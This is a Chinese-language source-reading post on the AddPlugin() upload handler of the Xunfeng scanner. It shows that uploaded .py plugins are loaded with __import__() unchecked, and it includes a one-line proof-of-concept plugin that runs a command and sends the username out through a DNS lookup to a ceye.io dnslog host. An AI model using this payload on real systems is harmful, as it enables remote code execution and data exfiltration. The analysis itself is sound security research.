巡风源码阅读与分析---AddPlugin()方法
文件位置:view/view.py
AddPlugin()
# 新增插件异步 @app.route('/addplugin', methods=['get', 'post']) @logincheck @anticsrf def AddPlugin(): result = 'fail' f = request.files['file'] isupload = request.form.get('isupload', 'false') file_name = '' if f: fname = secure_filename(f.filename) if fname.split('.')[-1] == 'py': path = file_path + fname if os.path.exists(file_path + fname): fname = fname.split('.')[0] + '_' + str(datetime.now().second) + '.py' path = file_path + fname f.save(path) if os.path.exists(path): file_name = fname.split('.')[0] module = __import__(file_name) mark_json = module.get_plugin_info() mark_json['filename'] = file_name mark_json['add_time'] = datetime.now() mark_json['count'] = 0 if 'source' not in mark_json: mark_json['source'] = 0 insert_result = Mongo.coll['Plugin'].insert(mark_json) if insert_result: result = 'success' file_name = file_name +'.py' else: name = request.form.get('name', '') info = request.form.get('info', '') author = request.form.get('author', '') level = request.form.get('level', '') type = request.form.get('vultype', '') keyword = request.form.get('keyword', '') pluginurl = request.form.get('pluginurl', '') methodurl = request.form.get('methodurl', '') pdata = request.form.get('pdata', '') analyzing = request.form.get('analyzing', '') analyzingdata = request.form.get('analyzingdata', '') tag = request.form.get('tag', '') try: query = {'name': name, 'info': info, 'level': level, 'type': type, 'author': author, 'url': pluginurl, 'keyword': keyword, 'source': 0} query['plugin'] = {'method': methodurl.split(' ', 1)[0], 'url': methodurl.split(' ', 1)[1], 'analyzing': analyzing, 'analyzingdata': analyzingdata, 'data': pdata, 'tag': tag} file_name = secure_filename(name) + '_' + str(datetime.now().second) + ".json" with open(file_path + file_name, 'wb') as wt: wt.writelines(json.dumps(query)) query.pop('plugin') query['add_time'] = datetime.now() query['count'] = 0 query['filename'] = file_name insert_result = Mongo.coll['Plugin'].insert(query) if insert_result: result = 'success' except: pass if isupload == 'true' and result == 'success': code_tuple = open(file_path+file_name).read() code = '' for _ in code_tuple: code += _ params = {'code': code} req = urllib2.Request('https://sec.ly.com/xunfeng/pluginupload') req.add_header('Content-Type','application/x-www-form-urlencoded') rsp = urllib2.urlopen(req,urlencode(params)) print 'upload result:' + rsp.read() return result
先判断插件格式是json还是上传python文件
329-348行
python文件:利用secure_filename()函数来处理文件名。secure_filename()函数只返回ASCII字符,非ASCII字符会被过滤掉。判断是否py结尾, 文件是否存在,如果存在就重新命名。然后保存。
然后用__import__()加载这个文件, 获取到里面的get_plugin_info()的信息。我们编写插件的格式要有get_plugin_info()这个方法,返回插件信息。然后再加入了文件名 时间。保存到数据库。
由于使用了__import__() 可以动态加载文件,也没过滤。所以可以构造个代码执行,利用dnslog验证下。
import os; def get_plugin_info(): os.system("ping `whoami`.ip.port.xxx.ceye.io");
成功
351-379行
如果是json格式就接收传来的参数,然后插入到数据库里,并且写入到.json里文件里。
380-389行
如果有共享上传并且成功了,就向ysrc也发送一份poc...